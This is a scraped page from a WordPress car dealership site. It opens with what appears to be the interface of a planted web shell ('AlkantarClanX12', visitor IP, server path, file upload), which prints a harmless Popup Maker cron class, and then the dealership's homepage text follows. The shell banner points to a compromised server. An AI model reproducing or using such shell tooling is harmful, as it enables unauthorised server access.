AlkantarClanX12

Your IP : 216.73.217.24


Current Path : /www/capitalgmcbuickregina_830/public/wp-content/plugins/popup-maker/classes/Utils/
Upload File :
Current File : /www/capitalgmcbuickregina_830/public/wp-content/plugins/popup-maker/classes/Utils/Cron.php

<?php
/**
 * Cron Utility
 *
 * @package   PopupMaker
 * @copyright Copyright (c) 2024, Code Atlantic LLC
 */

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

/**
 * Class PUM_Utils_Cron
 *
 * @since 1.8.0
 */
class PUM_Utils_Cron {

	/**
	 * PUM_Utils_Cron constructor.
	 *
	 * Initializes cron utility and registers WordPress hooks.
	 *
	 * @return void
	 */
	public function __construct() {
		add_filter( 'cron_schedules', [ $this, 'add_schedules' ] );
		add_action( 'wp', [ $this, 'schedule_events' ] );
	}

	/**
	 * Registers new cron schedules for WordPress.
	 *
	 * Adds custom schedule intervals to WordPress cron system.
	 *
	 * @param array<string, array{interval: int, display: string}> $schedules WordPress cron schedules array
	 * @return array<string, array{interval: int, display: string}> Modified schedules array with additional schedules
	 */
	public function add_schedules( $schedules = [] ) {
		// Adds once weekly to the existing schedules.
		$schedules['weekly'] = [
			'interval' => 604800,
			'display'  => __( 'Once Weekly', 'popup-maker' ),
		];

		return $schedules;
	}

	/**
	 * Schedules all recurring cron events.
	 *
	 * Initializes both weekly and daily scheduled events for the plugin.
	 *
	 * @return void
	 */
	public function schedule_events() {
		$this->weekly_events();
		$this->daily_events();
	}

	/**
	 * Schedule weekly recurring events.
	 *
	 * Sets up the weekly cron event if it hasn't been scheduled yet.
	 *
	 * @return void
	 */
	private function weekly_events() {
		if ( ! wp_next_scheduled( 'pum_weekly_scheduled_events' ) ) {
			wp_schedule_event( time(), 'weekly', 'pum_weekly_scheduled_events' );
		}
	}

	/**
	 * Schedule daily recurring events.
	 *
	 * Sets up the daily cron event if it hasn't been scheduled yet.
	 *
	 * @return void
	 */
	private function daily_events() {
		if ( ! wp_next_scheduled( 'pum_daily_scheduled_events' ) ) {
			wp_schedule_event( time(), 'daily', 'pum_daily_scheduled_events' );
		}
	}
}

Home - Capital GMC Buick Regina

No data

Welcome to Capital GMC BUICK – REGINA

Thank you for choosing Capital GMC Buick | Regina, your premier certified Buick and GMC dealership proudly serving drivers in Regina and the surrounding communities. Whether you’re searching for a brand-new Buick or GMC vehicle or a meticulously inspected pre-owned model, we have a diverse selection to match your needs and lifestyle.

Beyond our impressive inventory, we offer a seamless and stress-free financing experience through our well-connected finance centre, where our team of experts is dedicated to securing the best loan or lease options for you, quickly, transparently, and hassle-free.

But our commitment to you doesn’t stop at the sale. Our state-of-the-art service centre is staffed with skilled Buick and GMC technicians who use the latest equipment and genuine OEM parts to keep your vehicle running at its best. From routine maintenance to complex repairs, we’ve got you covered.

Experience top-tier customer service, quality vehicles, and expert care, all in one place. Visit Capital GMC Buick | Regina today or call us at 306-205-8072 with any questions. We’re here to help!

Ask a Question